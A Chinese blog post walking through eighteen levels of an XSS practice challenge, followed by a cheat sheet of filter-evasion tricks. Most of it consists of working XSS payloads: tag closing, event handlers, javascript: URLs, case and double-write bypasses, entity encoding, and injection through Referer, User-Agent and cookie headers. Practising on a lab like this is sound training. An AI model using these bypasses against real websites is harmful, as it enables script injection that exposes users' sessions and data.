XSS挑战之旅,学习笔记

因为我是边做边写博客,所以快捷目录就先不弄了,闲了再弄嘿嘿嘿
最近把xss复习一下,于是先找了个早一点的题 xss挑战之旅嘿嘿
第一关:
http://test.ctf8.com/level1.php?name=test
观察到通过get方式传参有会显,
直接打最简单的xss
playload:

<script>alert(1);</script>

在这里插入图片描述
第二关:

http://test.ctf8.com/level2.php?keyword=test
通过观察发现有个输入框,也是get方式传参,也有回显,先做一下测试

<script>alert(1);</script>

在这里插入图片描述
审查一下元素:在这里插入图片描述
发现我们的js代码被input标签所包含,尝试闭合标签
playload:

"><script>alert(1);</script>

第三关:
还是get传参,我们先试验一下

"><script>alert(1);</script>

审查元素后,我们发现打的xss还是在input标签呢,
在这里插入图片描述
通过之前的闭合标签没有用,看一下网页源码
在这里插入图片描述发现 " > < 被做了转义 所以尝试利用js事件绕过 也需要闭合标签,看了网页源码发现是单引号
(我常用的两个 onclick和oninput 当然还有,比如οnmοuseοver)

playload:

' onclick='alert(1)       //点击

或者

' oninput='alert(1)       //输入

第4关:
第四关还是像之前一样先用最简单的xss打一下,发现 <>被过滤了,
在这里插入图片描述
用第三题的playload试一下发现,没有闭合掉标签,playload直接显示了出来,
在这里插入图片描述
查看源码发现原来这里需要用双引号闭合
在这里插入图片描述于是playload:

" onclick="alert(1) 

或者

“ oninput=”alert(1)

第5关:
还是常规的思路 先拿最简单的试一下
在这里插入图片描述发现 有过滤,直接把script改了 那我们再试一下 js事件
在这里插入图片描述
果然也是被过滤了,哈哈哈哈哈哈再咋说人家也是第5关嘞 试一下大小写看能不能行
在这里插入图片描述
不区分啊,那就换个思路,试一下新建个标签然后js伪协议
playload:

"><a href=javascript:alert(1);>1</a>

第6关:
打最简单的xss试一下:

在这里插入图片描述还是过滤了,想必on也是做了过滤
在这里插入图片描述
没错,再用js伪协议试一下
在这里插入图片描述
他对href也做了过滤,我又试了一下大小写,本来我以为没有希望的时候(因为上个题就试了一下大小写不行),但没想到可以耶,早知道就打最简单的xss时就直接大写了
playload:(前面的playload都可以,只要大写绕过就好,记得要闭合标签哦)

"><a HREF=javascript:alert(1);>1</a>

第7题:
用最简单的xss打了一下,发现过滤了script
在这里插入图片描述用js事件,发现也是过滤了
在这里插入图片描述这里我想到了双写绕过,一般这种过滤整个关键字的,双写是个很好的思路
playload:

"><scscriptript>alert(1);</sscriptcript>

第8关:
一打开发现个添加外部链接的功能
在这里插入图片描述这个肯定要试一下js伪协议啦
先看一下源码
在这里插入图片描述这里不需要新建标签,源码中value的值直接传到了中,直接写

javascript:alert(1);

但没有用,看了源码发现 script被过滤,试一下大小写
在这里插入图片描述
没用,那就是一下html实体编码 t的html实体编码是t r是r
playload:

javasc&#x72;ip&#116;:alert(1);

第9关:
还是有个添加链接的功能 试一下刚才的playload:
提示链接不合法
在这里插入图片描述
在这里插入图片描述
查看报错发现,应该要是http://才行
修改一下palyload

javasc&#x72;ip&#116;:alert(1);//http://www.123.com

第10题
啥框都没了,就url 然后也有回显。打个最简单的xss

先看一下网页源码把
在这里插入图片描述源码中漏出来破绽,发现有3个输入,并且<>也被过滤了,我想到了用js事件绕过,但这里并没有提供可以输入的文本框,所以我们可以写一个,所以playload的思路就是,输出源码中的三个值,并且利用写一个可输入的文本框,可以让我们利用js事件。
playload:

t_link=&t_history=&t_sort="onclick="alert()"type="text

在这里插入图片描述
在这里插入图片描述第11题
感觉跟上一道题很像,直接看一下源码
在这里插入图片描述
有4个输入的值,也没有扫描框框,先打个最简单的xss看一下
在这里插入图片描述发现<>做了过滤,上次的playload也没有用,很奇怪。说起来很巧,题目一开始我就查看了源码,感觉应该是题目一开始就给了提醒,我翻回去又看了一下,发现t_ref字段处存在注入漏洞
在这里插入图片描述而且返回值是referer
推测可能是referer注入 思路大概就是抓包,然后在referer请求头中进行注入xss
playload:

" onclick=javascript:alert(1)  type="text" 

第12题
还是类似的,看了源码发现 新的输入
在这里插入图片描述看到了属性值,发现应该是useragent注入
playload:

" onclick=javascript:alert(1)  type="text" 

第13题:
还是类似的哦,这次是要利用cookie进行注入
在这里插入图片描述
playload:

" onclick=javascript:alert(1)  type="text" 

第14题:
第14题就不一样啦,看了源码发现用iframe引用了一个页面
在这里插入图片描述
执行一个图片的exif信息中可以包含xss代码,这个不太懂,所以我就百度了
具体做法,上传图片,修改图片中的exif信息,打入我们的xss代码,然后利用浏览器查看就可以了。
第15题:我打不开。。。。。。溜了
第16题:
尝试一下打最简单的xss

在这里插入图片描述过滤了script / 还有 空格,看了源码发现,输出位置的标签不能用,但空格会被过滤,所以可以考虑自己写个标签 用%0A %0B回车换行符绕过
playload:

<img%0Asrc=x%0Aonclick=alert(1)>

第17关:
偷个懒,直接看源码 发现存在embed标签
在这里插入图片描述,embed标签本身就可以加入js事件,所以我们直接利用
playload:

 onmouseover=alert(1) //前面有个空格,如果空格过滤的话跟上题一样用回车换行符绕过

第18关:
还是跟17题一样
在这里插入图片描述存在embed标签
playload:

%0Aonclick=alert(1)

最后两题
flash xss 不太会

总结:

多看源码,从源码中找方法利用xss,同时也要注意标签的闭合
常用的绕过姿势:

  1. 新建html标签绕过
  2. 绕过一些过滤,比如双写,大小写,回车换行符,对标签属性值进行转码(比如html实体编码,改进制啥的)
  3. 利用js事件
  4. 利用css跨站解析
  5. 如果是style形式的 还可以插入\或者注释符/**/
  6. 插入混淆属性:
    我们进行一般的文字录入时会发现,并不是所有带"JavaSceipt"这样的字符都会被过滤掉。而是只有在html标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插 入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在html标签的外面。比如:
 < img src="abc>" οnmοuseοver="[code]">  

//插入混淆的src属 性

<IMG """><SCRIPT>[code]</SCRIPT>">

//插入混 淆的双引号及 “>”符号

 <SCRIPT a=">" SRC="xss.js"></SCRIPT>

//插入混淆的a 属性
7.用注释符分割
由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响XSS代码的正常运行。比如:

<img style="xss:expr/*XSS*/ession([code])">

/css的注释符号 为/**/,其中的内容会被忽略

<style>@im\port'\ja\vasc\ript:alert("XSS")';</style> 

//css中忽略的符号还有“\”

exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression (alert("XSS"))'>

//注释混淆后的样子

<style><!--</style><script>[code]//-- ></script> 

//html的注释符为

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值